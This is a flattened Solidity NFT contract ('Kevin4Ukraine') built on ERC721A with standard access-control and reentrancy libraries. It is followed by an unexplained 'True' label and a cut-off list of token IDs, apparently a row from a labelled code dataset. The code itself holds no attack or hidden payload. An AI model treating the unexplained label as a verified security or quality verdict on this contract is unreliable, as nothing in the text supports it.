* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
*
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* Available since v3.1.
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* Available since v3.1.
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* Available since v3.1.
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* Available since v3.1.
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* Available since v3.3.
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* Available since v3.3.
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* Available since v3.4.
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* Available since v3.4.
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal collectionSize;
uint256 internal collectionSizeFree;
uint256 internal maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
* `collectionSize_` refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_,
uint256 collectionSizeFree_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
collectionSizeFree = collectionSizeFree_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - there must be `quantity` tokens remaining unminted in the total collection.
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
contract Kevin4Ukraine is Ownable, ERC721A, ReentrancyGuard {
uint256 public collection_Size = 2500;
uint256 public collection_Size_Free = 0;
uint256 public amountForDevs = 5;
uint256 public price = 0.007 ether;
uint256 public max_Batch_Size = 20;
uint256 public mintAmount = 20;
constructor(
) ERC721A("Kevin4Ukraine", "Kevin4Ukraine", max_Batch_Size, collection_Size, collection_Size_Free) {
}
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
function Mint(uint256 quantity)
external
payable
callerIsUser
{
require(quantity <= mintAmount, "Too many minted at once");
require(msg.value >= price * quantity, "Need to send more ETH.");
require(totalSupply() + quantity <= collection_Size, "reached max supply");
_safeMint(msg.sender, quantity);
}
// For marketing etc.
function devMint(uint256 quantity) external onlyOwner {
require(totalSupply() + quantity <= amountForDevs, "reached max supply");
_safeMint(msg.sender, quantity);
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string calldata baseURI) external onlyOwner {
_baseTokenURI = baseURI;
}
function withdrawMoney() external onlyOwner nonReentrant {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
_setOwnersExplicit(quantity);
}
function numberMinted(address owner) public view returns (uint256) {
return _numberMinted(owner);
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
return ownershipOf(tokenId);
}
function setprice(uint256 _newprice) public onlyOwner {
price = _newprice;
}
function setcollectionSize(uint256 _newcollectionSize) public onlyOwner {
collection_Size = _newcollectionSize;
}
function setamountForDevs(uint256 _newamountForDevs) public onlyOwner {
amountForDevs = _newamountForDevs;
}
function setmintAmount(uint256 _newmintAmount) public onlyOwner {
mintAmount = _newmintAmount;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
6021,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
